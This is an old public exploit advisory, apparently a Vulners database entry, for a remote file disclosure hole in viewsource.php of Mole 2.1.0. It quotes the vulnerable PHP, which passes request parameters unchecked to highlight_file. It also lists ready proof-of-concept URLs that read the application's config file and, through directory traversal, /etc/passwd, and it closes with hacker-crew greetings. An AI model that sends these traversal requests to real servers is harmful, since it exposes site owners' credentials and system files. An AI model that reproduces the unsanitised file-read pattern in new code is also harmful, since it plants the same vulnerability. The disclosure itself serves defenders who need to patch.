Mole 2.1.0 (viewsource.php) Remote File Disclosure Vulnerability

🗓️ 08 Apr 2008 00:00:00Reported by RootType

Mole 2.1.0 Remote File Disclosure Vulnerability in viewsource.php scrip


                                                #&nbsp;&nbsp;Mole&nbsp;v2.1.0&nbsp;(viewsource.php)&nbsp;Remote&nbsp;File&nbsp;Disclosure&nbsp;Vulnerability
#&nbsp;&nbsp;Script&nbsp;:&nbsp;http://sourceforge.net/project/showfiles.php?group_id=164171
#&nbsp;&nbsp;Vuln&nbsp;Code&nbsp;:
##############################################################################
#&nbsp;&nbsp;&nbsp;&nbsp;&lt;html&gt;
#&nbsp;&nbsp;&nbsp;&nbsp;&lt;head&gt;
#&nbsp;&nbsp;&nbsp;&nbsp;&lt;title&gt;Mole:&nbsp;Template&nbsp;viewer&lt;/title&gt;
#&nbsp;&nbsp;&nbsp;&nbsp;&lt;meta&nbsp;http-equiv=&quot;Content-Type&quot;&nbsp;content=&quot;text/html;&nbsp;charset=iso-8859-1&quot;&gt;
#&nbsp;&nbsp;&nbsp;&nbsp;&lt;/head&gt;
#&nbsp;&nbsp;&nbsp;&nbsp;&lt;body&gt;
#&nbsp;&nbsp;&nbsp;&nbsp;
#&nbsp;&nbsp;&nbsp;&nbsp;&lt;?php
#&nbsp;&nbsp;&nbsp;&nbsp;$dirn&nbsp;=&nbsp;$_REQUEST['dirn'];&nbsp;&lt;---&nbsp;XxX
#&nbsp;&nbsp;&nbsp;&nbsp;$fname&nbsp;=&nbsp;$_REQUEST['fname'];&nbsp;&lt;---&nbsp;XxX
#&nbsp;&nbsp;&nbsp;&nbsp;
#&nbsp;&nbsp;&nbsp;&nbsp;
#&nbsp;&nbsp;&nbsp;&nbsp;highlight_file($dirn.$fname);&nbsp;&lt;---&nbsp;XxX
#&nbsp;&nbsp;&nbsp;&nbsp;?&gt;
#&nbsp;&nbsp;&nbsp;&nbsp;
#&nbsp;&nbsp;&nbsp;&nbsp;&lt;/body&gt;
#&nbsp;&nbsp;&nbsp;&nbsp;&lt;/html&gt;
##############################################################################
#&nbsp;&nbsp;POC&nbsp;:
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/mole_2_1_0/viewsource.php?dirn=include/config.inc.php
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/mole_2_1_0/viewsource.php?fname=include/config.inc.php
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/mole_2_1_0/viewsource.php?dirn=../../../../../../../&amp;fname=etc/passwd
##############################################################################
#&nbsp;&nbsp;Greetz&nbsp;:&nbsp;Tryag-Team&nbsp;-JIKI&nbsp;Team&nbsp;-Stack-Terrorist&nbsp;[v40]&nbsp;-H-T&nbsp;Team&nbsp;-RoMaNcYxHaCkEr&nbsp;
##############################################################################

08 Apr 2008 00:00Current

7.1High risk

Vulners AI Score7.1